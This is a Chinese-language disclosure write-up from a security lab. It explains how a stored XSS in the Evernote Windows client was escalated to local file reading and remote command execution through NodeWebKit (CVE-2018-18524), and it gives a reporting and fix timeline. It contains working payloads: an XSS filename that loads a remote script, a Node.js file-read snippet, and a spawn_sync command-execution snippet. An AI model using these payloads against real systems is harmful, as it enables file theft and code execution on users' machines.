作者: dawu@知道创宇404实验室
时间: 2018/10/24
English Version
2018/09/20,我当时的同事@sebao告诉我印象笔记修复了他的 XSS
漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的 XSS
修复方案存在漏洞、利用这个 XSS
漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。
@sebao
发现的储存型 XSS 漏洞的触发方式如下:
1. 在笔记中添加一张图片
2. 右键并将该图片更名为 " onclick="alert(1)">.jpg"
3. 双击打开该笔记并点击图片,成功弹框。
经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了 >
、<
、"
等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在 6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。
XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg
后,将客户端升级为最新版 6.15。
我测试了一些特殊的 API,例如evernote.openAttachment
、goog.loadModuleFromUrl
,但是没有显著的收获。所以我转换了思路,遍历 C:\\Program Files(x86)\Evernote\Evernote\
目录下的所有文件。我发现印象笔记在 C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit
目录下存在 NodeWebKit
,在演示的时候,印象笔记会调用这个 NodeWebKit
。
一个更好的消息是我可以通过之前发现的储存型 XSS 在 NodeWebKit
中执行 Nodejs
代码。
既然可以注入 Nodejs
代码,那就意味着我可以尝试使用 child_process
来执行任意命令。
我尝试使用 require('child_process').exec
,但是却报错了: Module name "child_process" has not been loaded yet for context
。
这个错误并没有浇灭我刚发现 Nodejs
代码注入的激情,我在查阅各种资料尝试 解决/绕过 这个问题。最终,我发现了前人的足迹:How we exploited a remote code execution vulnerability in math.js
根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:
alert("Try to read C:\\\\Windows\\win.ini");
try{
var buffer = new Buffer(8192);
process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096);
alert(buffer);
}
catch(err){
alert(err);
}
但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解 Nodejs
,所以我不知道为什么 NodeWebkit
中没有 Object
和 Array
,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process的源码,并且查找 spawn_sync
相关的用法。
最终,我从 window.process.env
中获取到 env
的内容,并使用 spawn_sync
成功地弹出了计算器。
// command executed
try{
spawn_sync = process.binding('spawn_sync');
envPairs = [];
for (var key in window.process.env) {
envPairs.push(key + '=' + window.process.env[key]);
}
args = [];
const options = {
file: 'C:\\\\Windows\\system32\\calc.exe',
args: args,
envPairs: envPairs,
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]
};
spawn_sync.spawn(options);
}
catch(err){
alert(err);
}
在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。
在注册了一个小号后,我尝试使用分享功能将 恶意笔记
分享给 ”他人“。
我的小号将会在 工作空间
收到别人发来的消息。
我的小号尝试演示这个笔记,被注入的 Nodejs
代码成功执行!
2018/09/27,发现相关漏洞,攥写报告并发送至 [email protected]
。
2018/09/27,官方确认漏洞
2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。
2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524
2018/11/05,Evernote 官方发布 正式版本 6.16.4,确认该漏洞被修复后公开漏洞细节。